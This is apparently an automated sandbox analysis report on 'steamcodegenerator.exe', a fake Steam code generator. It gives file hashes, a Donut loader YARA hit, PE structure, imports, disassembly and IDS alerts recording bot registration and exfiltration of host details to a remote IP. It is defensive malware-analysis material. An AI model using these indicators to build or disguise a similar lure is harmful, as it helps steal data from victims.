Yara Hits:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\stm[1].txt, Author: unknown
Preview:	..e...e..0g.p.1.....>..E.$...i..1..........YD(..h'@..b..-.S!.#hz..T2.X!;Ys.N.m0dyD;d9.x.....X..e..S.._..D&g'ZG..z..)o.M.(C..@...8..H1........Sx[.^U.F.Ne8;IC....-..5Oua...\|..x7T.m?H/~..~...9^.......q.u&.....U%=7..]..J.q.Ip.&{.4..[.......`..e......kx<....&..{..U.\|..B.6jp)...!l.W{(].&(.y..1..-._.&.S.Nn.X..O..^2.L...%.XoYZ.....+t..z?.....l...+$.u.S./?...8..\7K.P=.m..Z.0..5.6...2]....Y.b.m.mG.Wn$A..Z.6.T._...?~H.U...+.(W]%...&.+..T.n..%..n.U...W.e&m...%..]...A^.).j;{<y.~..m-&........f...<.UP.x..o.dnI..$.p..!.{.rA...E.Yc.9..........................n..R]_..$.._.T.A*.......o.g.2...:/[.N..rx0..91h.3....g.`......zf..C.v.r....&......r.6`..G..L..2.FTb..o..HDKw.F.-.w.}..g).-B-zv......F...g.Q.#a.C.B.!.UZ.s-..S..._Q28KmR...2.NOu...b..'.C3w.b.Q...<..9Q.....`.....D..@x_...q.3.>.9^.bn.......Fc..[...8..f..%..ioT...O...4.5RW.......e.7.A@xz.6...8...u........g........@"..Mp.^....'.k........<...m.O.J.`.$.y...M&.r.Z...h.)!Hp.......>.$....G.X.\|It2...8p._.3....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	11608
Entropy (8bit):	4.890472898059848
Encrypted:	false
SSDEEP:	192:6xoe5qpOZxoe54ib4ZVsm5emdqVFn3eGOVpN6K3bkkjo5OgkjDt4iWN3yBGHVQ9R:9rib4ZmVoGIpN6KQkj2Fkjh4iUxsT6YP
MD5:	8A4B02D8A977CB929C05D4BC2942C5A9
SHA1:	F9A6426CAF2E8C64202E86B07F1A461056626BEA
SHA-256:	624047EB773F90D76C34B708F48EA8F82CB0EC0FCF493CA2FA704FCDA7C4B715
SHA-512:	38697525814CDED7B27D43A7B37198518E295F992ECB255394364EC02706443FB3298CBBAA57629CCF8DDBD26FD7CAAC44524C4411829147C339DD3901281AC2
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1600
Entropy (8bit):	5.684177275916648
Encrypted:	false
SSDEEP:	48:1SU4Yymdax4RIoUP7m9qr9tK8NfxBUICmL6o882:MHYv+IfB9qr2KfnUjmLe
MD5:	6048C2B80F3FB9BEAAE93AD9882F22C2
SHA1:	E6EACA319D363A76EFE3C852B6C28A877AE39DC5
SHA-256:	EB0FB9EAE7D24D7773066307FFCA4379B579FF9E938CA32863995917EC088461
SHA-512:	DE7FB44922ACE117530971C1A89059342CDDC2008469B7CB51A757755DDC7739C8B2F26C0DFA1FBC0CBE55EC889A7AA45450BEC8AE72BA51C8050F5499695258
Malicious:	false
Preview:	@...e...........Q...................R.9.O............@..........@...............M6.]..O....PI.&........System.Web.Extensions...H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.................0..~.J.R...L........System.Data.L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Commands.Utility...

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3dpjjk3v.2bt.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_42ifckjl.bhc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aecwym3u.atj.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dxargdvl.dvu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gmhnksc4.fte.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iztoceb3.nif.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jgzgz5s3.0r4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l04spufr.gp1.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yf2k4eim.g1l.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yovvkfhw.tz5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zeeotmze.1fn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zvygnhhv.wvq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

\Device\ConDrv

Download File

Process:	C:\Users\user\Desktop\steamcodegenerator.exe
File Type:	data
Category:	dropped
Size (bytes):	46
Entropy (8bit):	4.898455706009979
Encrypted:	false
SSDEEP:	3:i9CLLWD07v:wCLue
MD5:	2C1D951199DEAC5063E37780D924EDCE
SHA1:	752DCAF6C502CA0F526BA68E2865129B4157A977
SHA-256:	E7C4677A9BA467D8FEA67DACCB0B752409FDB2DB344DC6E82A966A313E511D55
SHA-512:	F154209296157A6D05BC970582409646DCDD7E5F52ED512ACFC4FFCDF549B4BC6D27C3FC7A0AE7C3D38641D4E2CB364FA4BBDF30485286732AF4D1B216D22A47
Malicious:	false
Preview:	Generating.....Steam Code: TZVF4-DI30M-P.TQW..

Static File Info

General

File type:	PE32+ executable (console) x86-64, for MS Windows
Entropy (8bit):	6.2652516764461375
TrID:	Win64 Executable Console (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	steamcodegenerator.exe
File size:	258'048 bytes
MD5:	d4f1751389516a3dfac98551142cb153
SHA1:	f362178e1ecd3eac536b666e89c2aa5663109116
SHA256:	eb727ad773925864801802b58b3060cfb1a0c18c1be78c8f9e6fc1d2840b19af
SHA512:	d3e0e04c414c26c37894efe1cdd8adf1970ede58ffac510e17315f4599178706c5ce70d47796900e011f76444e3bb52238a542f60120a7a2a94d96c8ac3d4cab
SSDEEP:	3072:IyEnMIVkwfjZrzYxopX5SfebFd+l1EkMmLmAvGaQNTxDwYPfMpOEM0UAP+Sg56:ILVDrZrzYapJQebFd+vFMmbTaThQ1UN
TLSH:	DA447B5577A50CF8EC67827DCC514A0AE6B2BC160760EB9F03A08B5B5F236E09D3E761
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............i...i...i...j...i...l.1.i...m...i...i...i..lm...i..lj...i..ll...i...h...i...h...i..l`...i..l....i..lk...i.Rich..i........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x140009080
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x67093850 [Fri Oct 11 14:38:08 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	f63ec0d9e5630f984a80952b9a46676a

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FD1B8C9837Ch
dec eax
add esp, 28h
jmp 00007FD1B8C979F7h
int3
int3
dec eax
sub esp, 28h
call 00007FD1B8C986FCh
test eax, eax
je 00007FD1B8C97BA3h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ecx, dword ptr [eax+08h]
jmp 00007FD1B8C97B87h
dec eax
cmp ecx, eax
je 00007FD1B8C97B96h
xor eax, eax
dec eax
cmpxchg dword ptr [00034698h], ecx
jne 00007FD1B8C97B70h
xor al, al
dec eax
add esp, 28h
ret
mov al, 01h
jmp 00007FD1B8C97B79h
int3
int3
int3
dec eax
sub esp, 28h
test ecx, ecx
jne 00007FD1B8C97B89h
mov byte ptr [00034681h], 00000001h
call 00007FD1B8C97ED1h
call 00007FD1B8C998A4h
test al, al
jne 00007FD1B8C97B86h
xor al, al
jmp 00007FD1B8C97B96h
call 00007FD1B8CA6B8Bh
test al, al
jne 00007FD1B8C97B8Bh
xor ecx, ecx
call 00007FD1B8C998B4h
jmp 00007FD1B8C97B6Ch
mov al, 01h
dec eax
add esp, 28h
ret
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
cmp byte ptr [00034648h], 00000000h
mov ebx, ecx
jne 00007FD1B8C97BE9h
cmp ecx, 01h
jnbe 00007FD1B8C97BECh
call 00007FD1B8C98672h
test eax, eax
je 00007FD1B8C97BAAh
test ebx, ebx
jne 00007FD1B8C97BA6h
dec eax
lea ecx, dword ptr [00034632h]
call 00007FD1B8CA69AAh
test eax, eax
jne 00007FD1B8C97B92h
dec eax
lea ecx, dword ptr [0003463Ah]
call 00007FD1B8C97B9Ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3a934	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x43000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x3f000	0x2460	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x44000	0x9a4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x36460	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x36320	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2b000	0x2e8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x29f40	0x2a000	2ad535e4366959067e2e60d8aafa7658	False	0.5462646484375	data	6.492900443589932	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2b000	0x102ee	0x10400	f45884d9dba838b4f775fb0b6ef92b79	False	0.42321213942307695	data	4.8807783288878275	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3c000	0x2a50	0x1400	3c0e81b51e51780698ebe5ffc0a838de	False	0.162890625	DOS executable (block device driver)	2.705660946828352	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x3f000	0x2460	0x2600	641900e4b17ed72e996a7af8fcf39302	False	0.46895559210526316	data	5.255275322700397	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
_RDATA	0x42000	0x1f4	0x200	093bc688e5029835ff2195256ddf5afd	False	0.494140625	data	3.6328021103092234	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x43000	0x1e0	0x200	9866eeb93e80b773405f3d7936b83641	False	0.52734375	data	4.7074344725994175	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x44000	0x9a4	0xa00	6e22f657667f6504de5a7699c3e54392	False	0.496875	data	5.389301065625464	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x43060	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL

Import

KERNEL32.dll

VirtualFree, VirtualAlloc, MultiByteToWideChar, Sleep, GetLastError, WriteConsoleW, CreateFileW, HeapSize, GetProcessHeap, SetStdHandle, SetEnvironmentVariableW, WideCharToMultiByte, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, EncodePointer, DecodePointer, LCMapStringEx, GetStringTypeW, GetCPInfo, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, RtlUnwindEx, RtlPcToFileHeader, RaiseException, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, GetStdHandle, WriteFile, GetModuleFileNameW, ExitProcess, GetModuleHandleExW, GetCommandLineA, GetCommandLineW, HeapAlloc, HeapFree, GetFileType, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, CompareStringW, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, CloseHandle, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, ReadFile, GetFileSizeEx, SetFilePointerEx, ReadConsoleW, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetEnvironmentStringsW, FreeEnvironmentStringsW, RtlUnwind

WININET.dll

InternetOpenW, InternetOpenUrlW, InternetCloseHandle, InternetReadFile

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-15T15:59:53.331844+0200	2857658	ETPRO MALWARE Win32/Fake Robux Bot Registration	1	192.168.2.4	49742	162.159.138.232	443	TCP
2024-10-15T16:00:08.497087+0200	2857659	ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil	1	192.168.2.4	49749	162.159.138.232	443	TCP
2024-10-15T16:00:16.360221+0200	2857659	ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil	1	192.168.2.4	49763	162.159.138.232	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 15, 2024 15:59:26.062680960 CEST	49735	443	192.168.2.4	140.82.121.3
Oct 15, 2024 15:59:26.062733889 CEST	443	49735	140.82.121.3	192.168.2.4
Oct 15, 2024 15:59:26.062946081 CEST	49735	443	192.168.2.4	140.82.121.3
Oct 15, 2024 15:59:26.104198933 CEST	49735	443	192.168.2.4	140.82.121.3
Oct 15, 2024 15:59:26.104278088 CEST	443	49735	140.82.121.3	192.168.2.4
Oct 15, 2024 15:59:26.958338022 CEST	443	49735	140.82.121.3	192.168.2.4
Oct 15, 2024 15:59:26.958431005 CEST	49735	443	192.168.2.4	140.82.121.3
Oct 15, 2024 15:59:27.099189043 CEST	49735	443	192.168.2.4	140.82.121.3
Oct 15, 2024 15:59:27.099287033 CEST	443	49735	140.82.121.3	192.168.2.4
Oct 15, 2024 15:59:27.099874020 CEST	443	49735	140.82.121.3	192.168.2.4
Oct 15, 2024 15:59:27.099948883 CEST	49735	443	192.168.2.4	140.82.121.3
Oct 15, 2024 15:59:27.105731964 CEST	49735	443	192.168.2.4	140.82.121.3
Oct 15, 2024 15:59:27.147423983 CEST	443	49735	140.82.121.3	192.168.2.4
Oct 15, 2024 15:59:27.481204987 CEST	443	49735	140.82.121.3	192.168.2.4
Oct 15, 2024 15:59:27.481363058 CEST	49735	443	192.168.2.4	140.82.121.3
Oct 15, 2024 15:59:27.481481075 CEST	443	49735	140.82.121.3	192.168.2.4
Oct 15, 2024 15:59:27.481534958 CEST	443	49735	140.82.121.3	192.168.2.4
Oct 15, 2024 15:59:27.481555939 CEST	49735	443	192.168.2.4	140.82.121.3
Oct 15, 2024 15:59:27.481607914 CEST	49735	443	192.168.2.4	140.82.121.3
Oct 15, 2024 15:59:27.493486881 CEST	49735	443	192.168.2.4	140.82.121.3
Oct 15, 2024 15:59:27.493542910 CEST	443	49735	140.82.121.3	192.168.2.4
Oct 15, 2024 15:59:27.502625942 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:27.502681971 CEST	443	49736	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:27.502760887 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:27.502993107 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:27.503025055 CEST	443	49736	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:28.111358881 CEST	443	49736	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:28.111505032 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:28.116127014 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:28.116152048 CEST	443	49736	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:28.116564035 CEST	443	49736	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:28.116636992 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:28.116956949 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:28.159415960 CEST	443	49736	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:28.378253937 CEST	443	49736	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:28.378423929 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:28.378456116 CEST	443	49736	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:28.378505945 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:28.378513098 CEST	443	49736	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:28.378552914 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:28.378559113 CEST	443	49736	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:28.378597975 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:28.378603935 CEST	443	49736	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:28.378643036 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:28.378648996 CEST	443	49736	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:28.378685951 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:28.378711939 CEST	443	49736	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:28.378757954 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:28.379123926 CEST	443	49736	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:28.379179955 CEST	49736	443	192.168.2.4	185.199.109.133
